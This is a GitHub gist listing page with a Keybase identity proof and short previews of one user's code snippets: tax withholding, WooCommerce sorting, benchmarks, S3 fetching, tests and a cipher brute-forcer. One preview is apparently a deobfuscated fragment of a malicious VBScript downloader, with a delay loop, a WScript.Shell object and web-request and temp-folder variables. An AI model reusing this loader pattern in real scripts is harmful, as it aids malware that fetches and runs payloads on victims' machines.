liath

Keybase proof

I hereby claim:

• I am liath on github.
• I am liath (https://keybase.io/liath) on keybase.
• I have a public key whose fingerprint is CA62 1A99 8BE7 3D04 1936 B0B3 F987 2246 B72F DAD4

To claim this, I am signing this object:

liath

// Weekly Employee Income Withholding Calculator by GitHub#Liath
// Based on IRS Circular E - http://www.irs.gov/pub/irs-pdf/p15.pdf
// Per the "Percentage Method"
var  w = {
    s : { // Single
        0    : { p : 0, s : 0 },
        44   : { p: 0.1, s: 0 },
        222  : { p: 0.15, s: 17.8 },
        764  : { p: 0.25, s: 99.1 },
        1789 : { p: 0.28, s: 355.35 },

liath

// Use this guide to order your tickets (products) in WooCommerce: http://www.endocreative.com/customize-product-sorting-woocommerce/
// Basically, you'll just Woocommerce->Products, click sort, then drag items around to get the order right.

// Per https://theeventscalendar.com/knowledgebase/changing-the-order-of-tickets/
// Add this just after the "ob_start();" line in your_theme/tribe-events/wootickets/tickets.php 
// tribe_wootickets_sort($tickets);

// Add the rest of this to your functions.php

// Sort alphabetical

liath

/* eslint no-console:0, func-names:0 */

// JS ints are signed, which isn't useful here. Unfortunately,
// this means << can flip the sign bit and give a negative
// number which throws everything off. Luckily, we know how to
// handle this. The below is an unsigned leftshift implementation.
const ls = (input, shift) => ((input << shift) >>> 1) * 2;

// Integer casts that drop overflowing data (Just like grandma used to make)
const u8 = i => (i << 24) >>> 24;

liath

/* eslint max-len:0, no-console:0 */
const Benchmark = require('benchmark');
const id = require('uuid/v4');

const fileObject = {
  filename: 'ApplesApplesApplesApplesApplesApples.txt',
};

const dupes = () => ([...Array(50000)].map((x) => ({
  Filename: id(),

liath

(ns s3-fetch-compressed
  "Pulls file data from S3"
  (:gen-class)
  (:require [amazonica.aws.s3 :as s3]
            [byte-streams :as bs]
            [byte-transforms :as bt]
            [clojure.string :as string])
  (:import (java.util.zip ZipInputStream)))

; For reference: https://github.com/kubo/snzip/blob/master/hadoop-snappy-format.c

liath

' This took me a whole lunch break!

' This loop causes a few second delay, perhaps this was intentional?
CountTo=99165178
FOR nil=1 TO CountTo
  i=i+1
NEXT
IF i=CountTo THEN
  DIM Ws,WebReq,SuccessFlag,TempFolderPath
  SET Ws=CreateObject("WScript.Shell") ' YM("6623052A3B4104480B3A541C0A","R1pfX", 13, 5)

liath

const Benchmark = require('benchmark');
const _ = require('lodash');
const assert = require('assert');

const saved = [];
for (let i = 0; i < 400; i += 1) {
  saved.push(i);
}
// Uncomment the asserts to verify that all tests are generating the same outputs
const goldStandard = saved.concat(saved);

liath

from shutil import rmtree
from tempfile import mkdtemp
from threading import Thread
from time import sleep
from unittest import TestCase
from yas3fs import FSCache


class testPR133(TestCase):
    """Per https://github.com/danilop/yas3fs/pull/133 \

liath

/* This script will attempt to brute force any pollux ciphertext you hand it.
   Most of the output is useless but for every ciphertext I could create on
   [dcode](https://www.dcode.fr/pollux-cipher), it had the correct result in its
   output somewhere. Usually towards the middle. Unfortunately it does not give
   any useful results for the actual challenge. ¯\_(ツ)_/¯ */

/* eslint no-console:0, no-param-reassign:["error", { "props": false }] */
/* eslint-disable sort-keys */
const morse2char = {
  '.-': 'a',